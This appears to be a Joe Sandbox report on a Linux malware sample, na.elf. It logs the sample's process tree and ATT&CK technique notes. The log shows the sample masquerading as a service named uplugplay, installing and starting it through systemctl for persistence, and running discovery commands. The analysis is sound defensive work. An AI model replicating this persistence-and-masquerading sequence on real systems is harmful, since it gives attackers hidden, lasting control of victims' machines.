Analysis Process: na.elf PID: 5496, Parent PID: 5485

General

Start time (UTC):	02:41:08
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5496, Parent PID: 5485

General

Start time (UTC):	02:41:08
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5497, Parent PID: 5496

General

Start time (UTC):	02:41:08
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pgrep PID: 5497, Parent PID: 5496

General

Start time (UTC):	02:41:08
Start date (UTC):	15/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep uplugplay
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: na.elf PID: 5500, Parent PID: 5485

General

Start time (UTC):	02:41:09
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5500, Parent PID: 5485

General

Start time (UTC):	02:41:09
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5501, Parent PID: 5500

General

Start time (UTC):	02:41:09
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pgrep PID: 5501, Parent PID: 5500

General

Start time (UTC):	02:41:09
Start date (UTC):	15/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep upnpsetup
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: na.elf PID: 5506, Parent PID: 5485

General

Start time (UTC):	02:41:11
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5506, Parent PID: 5485

General

Start time (UTC):	02:41:11
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5507, Parent PID: 5506

General

Start time (UTC):	02:41:11
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pidof PID: 5507, Parent PID: 5506

General

Start time (UTC):	02:41:11
Start date (UTC):	15/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof upnpsetup
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Chronological Activities

Analysis Process: na.elf PID: 5508, Parent PID: 5485

General

Start time (UTC):	02:41:12
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5508, Parent PID: 5485

General

Start time (UTC):	02:41:12
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5509, Parent PID: 5508

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5509, Parent PID: 5508

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: na.elf PID: 5513, Parent PID: 5485

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5513, Parent PID: 5485

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5514, Parent PID: 5513

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5514, Parent PID: 5513

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: na.elf PID: 5520, Parent PID: 5485

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5520, Parent PID: 5485

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl start uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5521, Parent PID: 5520

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5521, Parent PID: 5520

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl start uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5511, Parent PID: 5510

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5511, Parent PID: 5510

General

Start time (UTC):	02:41:13
Start date (UTC):	15/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5518, Parent PID: 5517

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5518, Parent PID: 5517

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5522, Parent PID: 1

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: uplugplay PID: 5522, Parent PID: 1

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: uplugplay PID: 5532, Parent PID: 5522

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: uplugplay PID: 5533, Parent PID: 5532

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5533, Parent PID: 5532

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "/usr/sbin/uplugplay -Dcomsvc"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5534, Parent PID: 5533

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uplugplay PID: 5534, Parent PID: 5533

General

Start time (UTC):	02:41:14
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay -Dcomsvc
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: uplugplay PID: 5538, Parent PID: 5534

General

Start time (UTC):	02:41:15
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5538, Parent PID: 5534

General

Start time (UTC):	02:41:15
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c hostnamectl
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5539, Parent PID: 5538

General

Start time (UTC):	02:41:15
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: hostnamectl PID: 5539, Parent PID: 5538

General

Start time (UTC):	02:41:15
Start date (UTC):	15/03/2025
Path:	/usr/bin/hostnamectl
Arguments:	hostnamectl
File size:	26848 bytes
MD5 hash:	b1245aa6d3c28b5d5fedb2d681d32eb9

Chronological Activities

Analysis Process: uplugplay PID: 5679, Parent PID: 5534

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5679, Parent PID: 5534

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c uptime
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5680, Parent PID: 5679

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uptime PID: 5680, Parent PID: 5679

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/usr/bin/uptime
Arguments:	uptime
File size:	14568 bytes
MD5 hash:	3ad70d8e33316ac713bf25c2ddf2fb14

Chronological Activities

Analysis Process: uplugplay PID: 5683, Parent PID: 5534

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5683, Parent PID: 5534

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "uname -a"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5684, Parent PID: 5683

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uname PID: 5684, Parent PID: 5683

General

Start time (UTC):	02:41:16
Start date (UTC):	15/03/2025
Path:	/usr/bin/uname
Arguments:	uname -a
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Chronological Activities

Analysis Process: systemd PID: 5542, Parent PID: 1

General

Start time (UTC):	02:41:15
Start date (UTC):	15/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-hostnamed PID: 5542, Parent PID: 1

General

Start time (UTC):	02:41:15
Start date (UTC):	15/03/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/CommId

/memfd:snapd-env-generator (deleted)

/usr/lib/systemd/system/uplugplay.service

/usr/sbin/uplugplay

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: na.elf PID: 5485, Parent PID: 5411

General

Chronological Activities

Analysis Process: na.elf PID: 5488, Parent PID: 5485

General

Chronological Activities

Analysis Process: sh PID: 5488, Parent PID: 5485

Linux Analysis Report
na.elf